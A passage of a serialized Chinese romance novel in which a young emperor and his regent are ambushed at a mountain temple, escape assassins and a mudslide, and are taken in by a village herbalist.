“我看陛下同不同意倒是不要紧,哪有帝王不立后,最多就是推迟些时日,倒也不急,只是真的不能再让摄政王那么蛊惑陛下了,这样下去总有一天会出大事。” “您的意思是?” “没有哪个男人不爱美人,正经办法要靠诸大人进言,旁的办法也要使,陛下不喜欢死板的方式选秀,我们可以另辟蹊径,只是要确保陛下喜爱之人,是咱们阵营的。” ———— 初夏蝉鸣阵阵,御驾朝着京郊的北园寺驶去,快到宋南卿母亲的祭日,他今年选在北园寺祈福,听说最近很多人都来这儿进香,很是灵验,贾良也曾经提过他母亲在世时也常来此。 遮天的绿荫下,阳光光斑从树叶缝隙中漏出来,打在地面上斑驳一片。天上云朵连成片,今日天气又闷又热,宋南卿穿着浅绿色的薄绸衣,伸手搭在沈衡的手臂上,缓缓跳下马车。 仰头一看,在阳光普照下的庙宇立在高高台阶之上,打眼望去光是上楼梯就要走好久,塔尖上的避雷针反射出刺眼的光。 宋南卿默默叹气,心想佛祖可能庇佑的就是心诚之人,如果连台阶都上不去,如何能证明自己心诚。 今日往来寺庙的人并不少,既然他们都上得,那么自己也能上的去!宋南卿给自己打气,跟沈衡一前一后迈上石阶。 因为是私下来寺庙,宋南卿没有带那么多人,成队的侍卫涌入寺院看起来也不像话,所以大多都分批停在了外面看守,而且北园寺是百年寺庙,又不是什么危险地方,他实在不喜欢私下里还有很多人跟着的感觉,束手束脚的。 走过一片树荫遮挡的位置,宋南卿停下脚步,喘了几口气,感到脚底发酸。 “何人建的寺庙,这不是故意为难人吗?”他单手叉腰靠在角落里喘息,发现沈衡竟然滴汗未流,气息都丝毫未乱,不免面上有些挂不住,伸手推着对方肩膀道,“你怎么…” 肢体接触的一瞬间,宋南卿忽然想起那夜在沈衡卧房,唇舌相贴时的奇异触感,那个灼热逼近的气息,压迫感十足的力道,以及让人汗毛直立的低语。 直到今天他也不知道沈衡那日到底是故意说给他听,还是以为他睡着了的真情流露。但就是这种不确定,才让他面对沈衡时又兴奋、又害怕,生怕自己一个不小心惹到对方,又让沈衡披不住那层温柔帝师的皮。 手心底下的肩膀结实硬朗,沈衡不咸不淡看他一眼,宋南卿就猛地收回了手,顺势摸了摸自己头发望天,“今天天气、嗯真好,先生你累不累,要不我们歇一下。” 他往旁边移了几步看天,脚边突然感觉撞到了什么东西,只听见一声惊呼,旁边被他绊倒的一名女子就要倒地,这可是在台阶上,摔下去的后果不可想象。 宋南卿连忙伸出手拉住那名女子的胳膊,隔着纱衣闻到了女子身上若有似无的香气,是依兰花的味道。 等人站稳,宋南卿放开了手,问:“抱歉,没事吧?” 女子盈盈抬头望,露出一张即使见过不少人也不得不称赞一句绝世美人的脸,浓密的睫毛衬得眼睛像是会说话,眸光波动欲说还羞,只是一眼就给足了人想象空间。声音一出却带着不可侵犯的清冷:“无事,多谢公子。” 她朝宋南卿点了点头,带着侍女缓缓离开,香气尾调以及轻纱衣袖扫过时的触觉仿佛还残留在人心上。 宋南卿抬头看她离去的背影,心想:好厉害,他学了好久的眼神都比不上这人轻轻一抬眼,视线落点他都有专门跟云岫学过,哪个方向角度能看起来情意绵绵又不媚俗,所谓的三角形视线落点法他也有在沈衡身上练习过,但好像都没有刚刚那个女子运用的炉火纯青。 回过神时,脚边一枚粉色的帕子引起了宋南卿的注意,他望了望远处,那女子已经不见身影,但这枚帕子应该就是她刚刚遗落的。 宋南卿额头一凉,沈衡捏着手里的帕子一角正给他擦头上的汗,男人微微眯了下眼睛,掰过他的下巴,宋南卿的眼神不得不从地面上离开,转而看向沈衡。 沈衡的眸子在阳光下会呈现出淡淡的琥珀色,比起人更像是某种危险的动物,一举一动都充满着关切和从容,但宋南卿就是能感觉出来,他在不满。 宋南卿扬起嘴角对他笑了笑,露出糯白牙齿可爱又带着一点讨好,刚想拉人衣袖,手指就被帕子盖住,从指尖到手心都被擦过一遍。 宋南卿任由沈衡给他擦手,虽然不知道他到底在擦些什么。拉着人袖子往前继续走,没再看一眼女子掉落的粉色帕子。 北园寺因着最近传言很灵,尤其是姻缘方面,来者众多。黄色的墙体在青瓦掩盖下,映出了阳光光斑的影子,斜斜的大树上荡漾着不远处池塘里的水光影。 宋南卿跟周围的香客一样,排队在正殿佛前上香,香炉鼎里的烟灰积了很厚一层,点燃的三炷香被捏在指尖,烟雾随风飘散,给人的脸增添了几分肃穆,他仰头盯着巨大的佛像,心中不知在想什么。 其实他不信神佛,但对已经仙去的母亲,除了在神佛之上寻找慰藉,别无他法。 小时候也会一个人默默盯着佛像问,我会活下去吗?我有出冷宫的一天吗?今年冬天能有炭火和棉被吗?父皇会来见我一面吗?后来宋南卿知道,神佛无用,他自己便可以立佛当神。活下去,需要一步步谋划,未来掌握在自己手里,求谁都不如求己。 三根香被稳稳插入香炉,宋南卿起身抚了抚衣角,对站在一旁的沈衡说:“先生不去拜拜?也是,你整日在佛堂,想必该说的话都已经说过了。” “求佛不如求己,渡人不如自渡。”沈衡跟他并肩迈过佛堂门槛出门,衣袖交叠,周围人流反方向涌入,只有他们并行。 宋南卿“哦”了一声,偏头看人道:“掌握礼佛事宜的沈大人,还说这种话,你佛珠还在我这儿呢!” 他在人眼前晃着绿檀手串步伐轻快,衣角蹁跹,不远处的莲花池倒映出他绿色的身影。迈过一道拱门,宋南卿看见很多人都围在一棵树下,于是拉着沈衡前去凑热闹。 一颗树冠庞大枝叶繁茂的千年古树屹立眼前,树枝上系着很多写了字的红色布条。宋南卿没见过这种东西,好不容易挤了进去,发现是祈福的,挂一条要收二两银子。 寺庙里的和尚穿着灰色僧袍,面前的桌子上摆着红色的祈福布和笔,看见宋南卿后倾身问道:“公子想要求事业还是姻缘?” 宋南卿不自在地瞥了一眼旁边的沈衡,抬起脖子说:“当、当然是求事业了!” 僧人点头,抬手指了一下面前的两个签筒,“祈福赠送抽签解运一次,左边是事业右边是姻缘,您可以一试。” 宋南卿攥着手指上下轻晃,佛珠在手腕上发出脆响,他侧过身挡住签筒,伸出手指指着沈衡道:“不许偷听!” 然后在沈衡点头移开视线之时,以迅雷不及掩耳之势在右边签筒里抽了一支签—— 作者有话说:当然是求事业啦——[可怜] 30-40 第31章 第三十一章 琴瑟和鸣上上签 人们对于自己不确定的事物才会求仙问佛, 没有人会在已经结果恒定的情况下去祈求上苍。 对于事业,宋南卿足够自信自己可以吏治清明、海晏河清,做一个让百姓安居乐业的好皇帝, 他从下定决心那么做之后, 就没有一丝怀疑。 但对于姻缘这种玄之又玄的事情,他这个年纪的人最是好奇, 特别想一探究竟。 在把签子递出去之后, 宋南卿就俯身看着小和尚, 带着些微紧张道:“怎么样?” 小和尚低头看了一眼露出微笑,“瑶琴锦瑟奏清音, 玉露金风配好姻。莫道良缘无处觅, 眼前即是百年人。” “公子抽中的是琴瑟和鸣上上签。” 宋南卿听他念签文,越往后听眼睛睁得越大,听到最后一掌拍在桌子上道:“眼前?” 什么眼前即是百年人, 他眼前这不、不就只有… 转过头就和沈衡对上了眼神, 对方没听见他这边在干什么, 微微低头眼中带着疑惑看他, 高耸的眉骨都能遮挡住太阳光, 鼻梁高挺如刀削,下颌线锋利, 不算薄的嘴唇气血感十足,清冽如寒松的气质下是侵略感十足的火焰,远一步是疏离近一步是温润, 自带一股生人勿近气场,但宋南卿却是在他保护范围内的。 “小僧多言一句,眼前只是虚指,公子的命定之人已经出现, 今日便曾见到过。” 人群中突然出现骚动,一道粉色倩影从古树那头移动而来,仿若谪仙的气质引得众人侧目,宋南卿不由得随人群看起,发现竟然是之前在寺前石阶上不小心撞到的那名女子。 她朝小和尚走来,开口道:“师兄,主持让我前来传话,说诵经室有要务需要你去一趟,这边我来看顾就好。” “这是谁啊,我之前怎么没在北园寺见到此等美人。” “听说是慧明大师新收的俗家弟子,大小姐来着,来修行的。” “大小姐还纡尊降贵来干这些杂事啊,今天我们真是有福了。” 粉衣女子缓缓移至宋南卿眼前,见是他,露出了个浅笑道:“今日与公子真是有缘,适才走得急,家母绣的手帕匆忙间遗失了,公子可有见到?” 宋南卿平淡着一张脸没有任何表情,伸手扯着沈衡的胳膊道:“四两银子,给钱。” “不曾见到,帮我们拿两个祈福带吧,多谢。”他没有多言,只是往旁侧的台子前移了几步,抬手拿起毛笔在红色绸带上写了祈福文字。写的急,字迹有了笔走龙蛇的意味,风骨尽显。 没再多看人一眼,宋南卿拿起写好的祈福带跟沈衡一起朝被围起来的古树走去。 寺庙建的高,古树立在山崖边上,周围建了一圈护栏,成百上千条鲜红的祈福带挂在树上随风飘摇的画面很震撼,远处便是京城的俯瞰画面。 宋南卿踮起脚把红色飘带系在了稍微高一点的枝头,仰头时看见了沈衡伸过来的手,一前一后两条祈福带系在同一条枝干上,连上面的字的风骨结构都相差无几。 宋南卿有模仿别人字迹的技巧,能写的相差无几,哪种字体都写的出来。但他一开始学写字,就是以沈衡的字当字帖练的,所以手下不加控制随心所欲写出来的字,和沈衡的一脉相承,几乎像是一个人写的。 红色的绸带在风中扬起,下摆逐渐相贴,不分你我。在满树红绸中,这条枝干上,只有他们两个人的心愿紧贴彼此。 “先生许了什么愿望?”宋南卿问。 “说出来就不灵了。”沈衡垂眼道。 宋南卿往他那边移了一步,手肘相贴,“你觉不觉得今日那个粉衣女子有些古怪?” 沈衡看他一眼,悠然道:“古怪在何处?不是缘分一线牵吗?” 看出了他的调侃,宋南卿握紧拳头举到自己脸旁,声音带上威胁,“说正经的,那个签文也古怪,还说什么莫道良缘无处觅,眼前即是百年人的,怎么今日就那么巧遇到她,还那么巧解个签文都让我珍惜缘分不要错过,这不会是一个套吧?” “先生你说话呀!” 沈衡没开口,只是望着他,从鬓角的碎发到圆润上挑的眼尾,每一寸都是记忆里那个样子,从到他腰那么高,到如今成长为玉竹般的少年,只有看着自己的这双眼睛始终未变。 一阵风吹过,二人头发飘起,在空中发尾相缠分辨不出你我,如同那树上交缠在一起的红绸一样,和参天大树的枝叶一起,结成千万个打不开的结。 二人视线相撞,身前是一望无际的京城上空,甚至看得清紫禁城屋顶的琉璃瓦,那里是权力倾轧一步踏错粉身碎骨;身后是结成千千结的祈愿红绸,承载千百人的心愿和梦想。 宋南卿站在山巅,望着沈衡,感觉心跳加速。 “眼前人就是心中人,莫要使缘分白白流去。” “公子这是琴瑟和鸣上上签,玉露金风配好姻。” 小和尚离开前的一字一句重新在耳边回荡,宋南卿看着眼前人飞舞在空中的发丝,觉得心脏好像要跳到嗓子眼,在沈衡眼中自己的身影是那么清晰、那么唯一,沈衡眼里除了自己什么都没有。 山巅风吹不断,红色的千千结挂在树上,飘在心里,二人对视静默无言,但写在祈愿带上的心愿却彼此相贴。 “希望纷争中我和先生的情谊能一如从前,不要改变。” “希望南卿想要的都能实现。” 宋南卿深吸一口气,看见沈衡朝自己勾了勾手指。他犹豫了一会儿,慢慢凑近,手指攥着衣角。 “不是说抽签抽的是事业吗?卿卿到底抽的什么签,怎么还有觅良缘的事,嗯?” 宋南卿一把把人推开,一路小跑从古树祈愿处下来,一边挥着袖子散脸上热气,一边躲避沈衡不怀好意的问话,被问急了道:“饿了,朕要用膳!” 进了素斋房,外面天就阴了下来,乌云压城,大片大片黑色的云预示着山雨欲来,突然狂起的大风把斋里吹了满堂,没过一会儿,倾盆大雨降了下来,密不透风的雨水浇灌在地面,砸出一个又一个水坑,又顺地势往下流淌,冲刷着地上的泥土。 宋南卿夹起一片笋放入嘴里,清甜可口的嫩笋是从这附近山上挖来的,搭配鲜味十足的素面甚有滋味。外面的雨水连成片,天色阴沉,很快就模糊了窗子,只能看见成串的水流蜿蜒而下。开始还有人跑过来躲雨,后来雨水过激,狂风舞动,门都很难打开。 宋南卿面对小雨还能从容,但雨势越大,空气越沉闷,他越呼吸不畅,当闪电和雷鸣一前一后攫取人的心神时,他更是全身紧绷,握着木筷的手指用力到发抖。 这个素斋房不像宫里的房子一样隔音好,雨声雷声简直是灌入耳朵里,他伸手按住心脏的位置,用力吸气,但感觉还是吸不到肺里。 沈衡拢住他的肩膀,低声道:“没事,雨很快就会停,很快我们就可以回去。” 宋南卿嘴唇变得苍白,无力点着头,慢慢靠在人怀里,后颈暴露在空气中微微瑟缩。 一道闪电照亮了房间,大门处传来一声重重的闷响,凄惨的尖叫连同雷声一起响彻斋房,门口处蒙面人手里拿着的长刀森然反光,闪电一打银光乍现,血红的液体还粘在刀尖上往下滴个不停。 “老实点,都别动!”为首的人双眼突出面带凶光,一手提住想要往外跑的男人。 那名男子打扮富贵,可能从来没遇到过这等场面,一手指着他大声呵斥:“什么人胆敢对本官动手动脚,你可知道我是当朝正四品,今日敢动我一下明日就让你们…” 话未说完,那人大叫一声倒在地上,刺鼻的血腥味弥漫开来。 为首的黑衣人拿刀对着他,语气阴森:“杀的就是你们这些当官的,如果不是你们来寺中搅和,我们也不至于被逼到如此境地!陪慧明那老和尚一起下地狱去吧!” “还有谁是当官的,你是吗?世子殿下你也在这儿,真是不巧。”大概北园寺的人真有劫富济贫的道义,穿着富贵的看起来社会地位高的统统被看管围了起来,反而那些普通百姓被放走了,整个斋房又潮湿又充满难闻的血味。穿着黑衣服的人手持利器,把房间团团包围。 暴雨未停,原本的避难所成了危险地。停不下的雨、祛除不了的血腥气、倒在地上的尸体、雷声轰鸣里被闪电照亮的武器。 和十几年前那个尸横遍野的雨夜一样。 宋南卿也和十几年前的雨夜一样,一样束手无策,一样任人宰割。他胸口剧烈起伏,一手按在胸口的位置大口呼吸,往事如烟席卷着那些沾满鲜血的画面,回忆再一次上涌。 雨下的太大了,侍卫在外面没那么快赶过来,而且寺院房间那么多,就是搜查也得花费好一阵。宋南卿费力喘气,一手被沈衡握着,背上还有一只手轻轻拍打,在如注的雨声中,他陷入情绪之中手指颤抖,呼吸陷入被动。 沈衡知道他这个病,怕雷怕闪电,讨厌下大雨,归根到底是小时候受了惊吓和刺激,一旦有让他回归当时处境和创伤的因素出现,就会发作,但以往没有那么严重过。 狂风呼啸,整个北园寺被一股不祥的黑云笼罩着,黑衣人头上戴的帽兜被风吹下,露出了一颗留有六颗戒疤的光头。从后方匆匆赶过来的人伏在他耳边说了几句话,他的眼中闪过精光,绕场一周把每个人都看的仔细,然后视线定格在沈衡怀里的少年身上。 沈衡冷冷垂眸,一手在宋南卿背上替他顺气,一手已经不动声色伸向腰间。 “师叔,北边出事了!”电闪雷鸣下,一个小和尚浑身是水奔跑而来,为首的黑衣人转身跟他急忙离去。 整个北园寺都被控制住了,今日不巧,遇上寺庙权力纷争,新起之秀看不惯住持慧明大师,意图改换门派,现在把持住那么多人,是要挟也是威逼,如果能借助这些官宦侯爵的力量,把持北园寺是能够兵不血刃的。 但他们这幅做派,看起来也不怕血染北园败坏了这百年古寺的名声,其中到底发生了什么还无人知晓。 “师叔,今日香客中有贵人,北边冲进来一群带刀侍卫,和另一队在交锋,不是我们的人,不知道他们是谁派来的。” 被叫师叔的和尚眯了眯眼睛,赶到北门后却发现没了交战痕迹,他暗骂一声不好,急忙返回。 素斋房无声无息间已经被一队人马包围,有长期作战经验的人最能察觉到危险来临的气息。沈衡喂了些水给宋南卿,看他状态好了一些,扶着人往后方角落里走。 他观察过这个斋房,正门被把守住出不去,但连着后厨的位置有个后门,他跟宋南卿不动声色朝那个方向移动,尽量不引起周围人的注意。 “咣当——”一声,门又开了,这次出现的人戴着银色面具,看身形动作分明是训练有素的杀手,看守的武僧不是他们的对手,甚至在不知不觉中,看守素斋房的一圈人都已经易主。 为首的人一进门就有明确的目标,穿着滴水的衣服朝后方角落走去,后面带着一排十几个人随从,每个人都是身体健壮手拿武器,如同夺命的阎罗,底下步伐却是悄无声息。 宋南卿抓着沈衡的衣袖,靠在门边上紧张地咽了下口水,正前方黑衣人的剑锋上往下低落一滴暗红残血,仿佛他刚刚咽下去的就是那一滴,从口腔到喉咙都尝到了血腥味。 要说刚刚那群僧人给他的感觉是危险,现在面对渐渐逼近的这群人,死亡的恐惧和颤栗让宋南卿头皮发麻,脖颈发凉。 被当做猎物盯上的感觉,仿佛脖子上被架了一把随时会落下的剑,每一次呼吸都让人担心这是不是自己在世上留下的最后一口气。 他不免又想起那个签文,他和沈衡这个看不透也理不清的人,不会真要今天一起葬在这儿,度过以后百年吧。 但也说不好,说不准死的只有自己一个,毕竟这些人到底是怎么知道自己踪迹的,还摸得那么透彻,得有内线才行。借助寺院派系斗争不小心把误入其中祈福的皇帝杀掉,真是一件怎么看都挑不出错处的意外。 宋南卿深吸一口,往头上摸到了自己的一把簪子,尖锐的一端压在指腹,疼痛感清晰。 就算死,他也要带一个走。 第32章 第三十二章 死也要死在自己手里…… “你身后有个门, 拿着这个把锁撬开,往东跑。” 沈衡借着袖子掩盖,往宋南卿手里塞了一根不知从哪儿弄下来的细铁丝。他倒是一点都不避讳自己知道宋南卿撬锁的手段。 温室里千娇百宠长大的皇子怎么可能会精通撬锁, 只有他们俩这种从小受欺负又时不时挨饿的人, 才会无师自通,精准掌握。 宋南卿第一次见到沈衡时, 他们一个是被打入冷宫被奴才踩到头上克扣分例的皇子, 一个是千里迢迢从草原来接受控制的质子。 沈衡从不大的时候就已经入宫为质, 住在冷宫边上多年无人在意冷暖,毕竟科尔沁草原王不老实不是一天两天, 他这个质子被杀掉也就是今天明天。 宫里无人在意他, 虽然是长公主的孩子,但长公主已死,质子身份低人一等;草原王又不看重他这个混了汉人血脉的天朝公主之子, 把他看作外人自然不会救他, 更不会派人来关照分毫。 担着质子名头和这些皇子平日里一起上课是不错, 但没有人真的把他当成人过, 当时正处在长身体的年纪, 半夜饿的受不了去御膳房偷偷找吃的,那天就撞上了同样来当老鼠搬运食物的宋南卿。 那一年沈衡十六岁, 宋南卿六岁,两个撬锁高手半夜在御膳房锅台前面面相觑,这就是他们的第一次相遇。 宋南卿握着手里的那根铁丝, 不知道是不是也想起了初遇,竟然露出了一个笑,在对面杀手的不断逼近下,飞快转身掀开后厨的布帘跑开。 真心想救他也好, 借机支开自己,好和那些黑衣人下命令也罢,他面前除了这条路,已经没有旁路可走。 宋南卿在黑暗中快速在门框上翻看,在心沉到谷底之前终于找到了一把锁,但锁在外面,门只能推开一条缝,外面是瓢泼大雨,几乎把铁丝一伸出去,就被淋了个透彻。 多少年没有撬过锁,他的技艺早就生疏,加上雨水打滑,锁芯很难撬开,时间一点点流逝,宋南卿的心也越提越高。 他一边艰难撬锁,一边支起耳朵听后面的动静,想象中的交涉没有出现,几乎是瞬间就响起了打斗的声音。 在他心里沈衡很厉害,但一个人再厉害,打三个可以,赤手空拳同时打十几个人再加上对方持有武器,就算是神仙在世也难以做到。 凌乱的脚步声在往自己这个方向移动,沈衡应该是在挡住他们,不让他们进入后厨这个小门。 “闪开今天可以饶你不死。”沙哑的声音隔着一层布传来。 宋南卿额头上渗出了一滴滴的汗珠,顺着额角流下。血腥味越来越近,他知道以沈衡一个人的力量,能挡到现在已经实属是老天保佑。他快速擦了一把手心的水和汗,在千钧一发之际把铁丝用力一弯,锁终于撬开了。 但是与此同时,杂乱的脚步声和鲜血的味道也已经到了背后。一道让人毛骨悚然的寒意直直冲着背后劈来,仿佛已经能隔着衣服感受到剑的锋芒,“砰!”的一声,被不知什么东西挡住了。 宋南卿来不及往后看一眼,胡乱甩开锁后伸出脚对着门用力一踹,瞬间织成网的雨幕顺着风把他浇了个彻底。 沈衡抄起门边放着的长杆拖把挡了劈过来的剑两次,四指粗的木棍瞬间从中间断裂,两截拖把被他投掷出去阻挡了追兵的步伐,为二人拖延了一丝时间。 好在门口没有他们的人看守,沈衡一把抓过宋南卿的手一路朝东逃去。 大雨是灾难,但在昏暗的雨幕中也是最好的遮挡,寺院里蜿蜒的小路和遮天大树为他们的隐藏提供了不少帮助。 北园寺建立在半山处,前面是悬崖后面是高山,易守难攻的地势。宋南卿和沈衡在倾盆大雨下很快就迷失了方向,为了躲避追逃也不得不调转方向。 不知怎么的跑到了一片墓碑园门口,听着后面的脚步,宋南卿咬着牙和沈衡跑了进去,动作麻利躲在高大的石碑之后,听见追兵的脚步声逐渐远去,才渐渐敢出声放大呼吸。 从紧张刺激的追逃中缓过神,宋南卿才发现旁边沈衡的状态不算太好,他的手臂受伤,鲜血顺着袖子往下滴落,加上雨水不断泡发,整个人因为失血过多不断发抖。 宋南卿坐在坟前平复剧烈运动后的喘息,转头望着沈衡。直到这一刻,他才愿意相信这场追逃,不在沈衡的预料之内。想要他命的,也不是沈衡。一道煞白的闪电照亮了眼前的昏暗,宋南卿看清楚了墓碑上的痕迹,是无字碑。 眼前这个,左边那个,放眼望去这一大片全都是无字碑,不知道地下埋葬了多少亡魂。 相互交握的手掌上已经沾染了血水,宋南卿抖着手低声问:“先生你怎么样?” “……先生、先生?” 他一连问了几句,才得到沈衡的回答。 “没事。” 与往日从容淡雅的声音不同,沈衡发声不稳、变得虚弱,虽然肩膀依然宽厚、坐得笔直,但毕竟是肉体凡胎,流了那么多血,又不是铁打的身子,能强撑着跑那么久已经是极限了。 二人坐在雨中不敢轻易离开,如果没了墓碑和坟头遮挡,那些追兵又返回,以他们现在的身体状况已经经不起再一次交锋了。 雷声轰鸣,宋南卿仰头看见那个佛塔顶上的避雷针变了颜色,轰隆隆的雷声不断,天空像是被撕裂一般,时不时降下惊雷。他头疼欲裂,觉得地动山摇,又是一阵轰鸣,宋南卿才意识到,不是他头晕出现幻觉,而是前方的山真的在摇。 铺天盖地的洪水裹挟泥沙从山头奔涌而来,稀疏的树木绿植阻挡不住泥沙俱下,毁灭性的泥浆沙石从山上往下极速降落,粘稠的泥浆瞬间就淹没了不远处的亭台,正朝他们的方向奔涌而来。 宋南卿大脑一片空白,那一瞬间他仿佛看到了末日的景象,雨水打在脸上时他已经感觉不到疼痛,浑身都失去了知觉。 很快,他立马恢复清醒,拉起沈衡就准备跑,但绝望的是,当他摸到沈衡的胸口时,满手心都是粘稠的鲜血。 这一刻他无比痛恨沈衡喜欢穿暗色的衣服。 那群人是冲着他来的,宋南卿很清楚,只是他真的值得沈衡做到这个份上吗?如果只是为了在他面前装作护君的样子,完全没有必要把自己折腾成这样,演着演着,把自己真的演进去了? 想到自己打开锁的那一刻,背后传来的那道武器没入的闷声,宋南卿抖着手后退,心中五味杂陈。他想退,他害怕,他害怕沈衡出事,他怕沈衡真的对他交付了真心和信任,而自己在一炷香之前还在怀疑他。 没了支撑,沈衡脚步不稳,身体晃了晃。 宋南卿咬住嘴唇,用力搀扶住沈衡的身体,脚下踩过没到脚腕的泥水,举目四望也不知道该往哪里走,雷声不断,每一道都像是劈在了他心上。泥浆逐渐侵蚀土地,他飞快朝泥石流滚落的垂直方向跑去。 越靠近寺庙中心地势越高,宋南卿拖着一个人艰难前行,还要注意那群杀手的踪迹。 耳边的发丝已经黏在一起,倾盆大雨里,他的睫毛上都是不断滚落的水珠,而手里的胳膊却在逐渐失去体温。宋南卿突然听见沈衡在说什么。 他把耳朵凑过去,仔细辨别,在暴雨雷鸣里,沈衡的声音却无比清晰。 “你走吧。” 宋南卿不可置信看他。 雨水顺着眉骨滑向眼窝,再顺着鼻尖低落,一向矜贵从容的摄政王大人苍白的嘴唇失去血色,微微抖动着重复:“你走吧。” 低缓、轻柔,又像是下定了某种决心。 他没受伤时是可以保护宋南卿的武器,但现在的身体状况,只能叫做拖累。 几乎无缝隙的雨点不断砸向地面,像是苍天在哭泣。宋南卿的睫毛上滚落的水珠越变越多,他抖着声音吼道:“沈衡!你想都别想!” 把他从枯井里救出来,扶他登上皇位的那一天,他们两个人就已经绑死了,此生此世都不可能有什么东西能把他们分得开。暴雨不行、泥沙不行、刀光剑影不行、生死更是不行! 这些年平定边陲、谋杀奸臣、收拢权势、建设新规,每一件都是沈衡和他一点点谋划,同十几年前在冷宫里一起谋划夺权一样,他们彼此提防却战线统一,从来都是纠缠不清,怎么可能会有分开理清的可能。 他不可能抛下沈衡任他死在这里,就算要抛弃、就算让他去死,也绝不可能是在今天。 就算沈衡要死,也一定是在他宋南卿的谋划中、按他早就想好的方式死去,绝不可能是在这么一个暴雨天,死于别人之手。他不允许,他不可能允许。 沈衡就算死也要死在自己手里。 宋南卿明显感觉沈衡的身体在变沉重,他连擦眼睛上雨水的力气都没有,在一片模糊中,看见带着银色面具的人从对面逐渐逼近。一道闪电降落,照亮了远处橘红色的天空和眼前泛着冷光的剑锋。 同一时间,对面的山洪以更快的速度、更大的面积铺天盖地冲击而下,带着毁天灭地的气势,人类建设的一切都成了虚妄,全都被自然和时代的洪流裹挟、冲走。 眼前即是百年人,呵,好像真的要和这个心比比干多一窍的摄政王,死在一起共享黄泉百年了。 在失去意识的最后一刻,宋南卿死死抓着沈衡的手不放,十指紧紧相扣,用力到极点,仿佛要用尽全身的力气把这个人抓在手中,永远不放开—— 作者有话说:大家七夕快乐[比心]大眼更新了一个七夕节捡手机小剧场,感兴趣可以去看看哦 第33章 第三十三章 想亲一下好不好,就一下…… 山间清泉流淌, 竹子建造而成的小屋顶上覆盖着茅草,依山而建,周围郁郁葱葱的树木茂盛, 经过雨水冲刷后绿的不真实, 不大的院子用篱笆围起,几只母鸡从鸡窝里走出, 一边“咯咯”叫着, 一边低头吃食。 雨下了许久, 天气终于放晴,农妇拿着扫帚清扫院前积水, 门“吱呀”一声打开, 她对着门口采药回来的丈夫笑了笑,“雨终于停了,我刚刚看过伤口, 幸好没有感染, 你再去看一眼, 我炖了鸡汤, 一会儿就好。” 屋前积水清扫干净, 屋子里也整齐洁净,靠近里屋的一张藤床上并排躺了两个人, 看着生机不旺盛的样子,其中一人胸口手臂都缠着布条,浑身还有遍布的伤口, 虽然涂了药做了处理,但他嘴唇依然苍白。 二人的手死死相扣交握在一起,一大一小,那细细的手指搭在人手心, 轻微弹动,然后连带着手臂都动了下。 宋南卿感觉自己睡了很长时间,做了好长一场梦,但梦的什么又都记不清了。他慢慢抬起沉重的眼皮,睁眼都费力,等他终于看见亮光眼神聚焦的时候,足足愣了好久。 茅草和木头横梁做的房顶映入眼帘,完全不熟悉的环境让他怀疑自己是不是还没醒,右手一阵发麻,他侧头看过去,看到了熟悉的绿檀手串,再往下是一只更熟悉的手。!!! 宋南卿连忙松开那只手,猛地抬头,熟悉的那张脸赫然就在旁边的枕头上,双眼紧闭,脸上没有血色,不像之前一样充满了压迫和威胁,静静躺在那里的沈衡很平和,毫无攻击性,甚至难得的让人看出一丝脆弱。 不知道出于什么心理,宋南卿缓缓抬起手指,举到了沈衡的鼻下,神情认真又严肃。等感受到若有若无的鼻息时,他才彻底放心吐出一口气,重新瘫倒在枕头上。 “公子,你醒了?”门被推开,一个三十出头模样的农夫拿着一个木头托盘进来,他穿着粗布麻衣,动作麻利,走到床前。 许是看到了刚才宋南卿的动作,他细心解释:“不用担心,这位公子已无性命之忧,剑刺偏了几寸,没有伤到心脉,但他身上伤的太严重,彻底醒来还需些时日,我今日上山找了些对症草药来。” 宋南卿盯着他看了一会儿,“是你救了我们?多谢,不知该如何称呼。” 农夫点头,“我姓李,你叫我李大哥便是,前几日下暴雨,我出门采药被困在山上,看见对面北园寺那个山头爆发山洪,在回村路上遇到了被冲下来的你们,幸好我们村树种得好,今年防洪也做了隔离带,才没被波及,我就是在隔离带附近捡到你们的。” “但因为山洪,下山的路已经不通了,目前谁都出不去。” 他说话真诚没有作假的样子,加上是救命恩人,宋南卿忙让开位置,问:“李大哥,你救我们的时候,周围没有其他人吗?” “其他人?没看见,他是怎么伤成这样的,你们……”沈衡伤的很重,几乎全身都缠了白布,上身裸露在外面,李大哥一边给他换药,一边问。这两个人被他发现的时候双手死死扣在一起,怎么掰都掰不开,他只好让他俩并排躺着。 宋南卿皱起眉,轻叹一口气:“我们兄弟俩原本在北园寺祈福,但遇上了仇家追杀,又突遇山洪,多亏有李大哥相救。” “等我们的人来,必定好好报答您的救命之恩。” 男人摆了摆手,“医者仁心,我从小就在医馆学医,这几月生意不好干才回家来种地,有伤者哪有见死不救的道理,公子不必太客气。” 他的妻子叫翠枝,做好了午饭过来,还专门熬了鸡汤给宋南卿一碗。 人这种生物的适应性是可以训练出来的,宋南卿以前在宫里这个不吃那个不吃,做的不好看不吃,太油了太腻了太甜了不吃,现在捧着粗陶碗喝汤喝的倒是快,对桌上的清粥小菜也下得去筷子了。 吃饭时听李大哥聊起他的医馆,本来生意很好,但北园寺最近在扩张业务,佛门之地悬壶济世无可厚非,但他们背地里搞起了垄断这套,一些特效药需要官府颁发许可证才能售卖,北园寺下的济世堂独揽经营许可权,渐渐把一些药品全都划到特效范围,除了北园寺其他医馆没有进药的渠道。 这也就罢了,不能进药他们自己上山采还不行吗?不行。 官府最近又收拢政策,严格查处来历不明的草药,借机关闭了一些违规医馆做罚款处理,李大哥的医馆就在这个范围内,所以只能暂停业务归家种田。 说到这里,宋南卿的眼睛转了转,想起暴雨夜那个和尚说的什么“当官的把他们逼到这个份上”之类的话,心里有了些考量。 饭后宋南卿跟李大哥上山采药,探查清楚了周围地形,暴雨冲垮了山石,的确无路可通,清理也需些时日。他又在附近留下仪鸾司能找寻过来的标记。对面的北园寺佛塔依然矗立,只是不知道里面是何情形。 他和沈衡一连消失了那么久,宫里又会发生什么变故呢? 天色渐暗,他放心不下沈衡,跟李大哥学着换药护理伤口,开始面对鲜血淋漓和暴露开的皮肉,还会头晕想吐,日子一日一日过去,他喂药包扎的技术也逐渐熟练。 明明伤口在一日日恢复,沈衡还是没有醒。 屋里烛火昏暗,时不时飘出一缕黑烟,宋南卿抱膝坐在床边的脚踏上,柔软冰凉的脸贴在沈衡的手臂,泪水溢出、又滴落,很快被他擦掉。 白天他充满活力,采药、帮翠枝种菜喂鸡,查看自己留下的痕迹,勘探山路通开还需要多久。 近期官府已经派人来附近救助,但宋南卿不敢暴露身份。 他手无寸铁,沈衡还在昏迷,这些官府人员是不是和北园寺还有那些带银色面具的杀手沆瀣一气还未可知,如果暴露,等待他的说不好是救赎还是死亡。 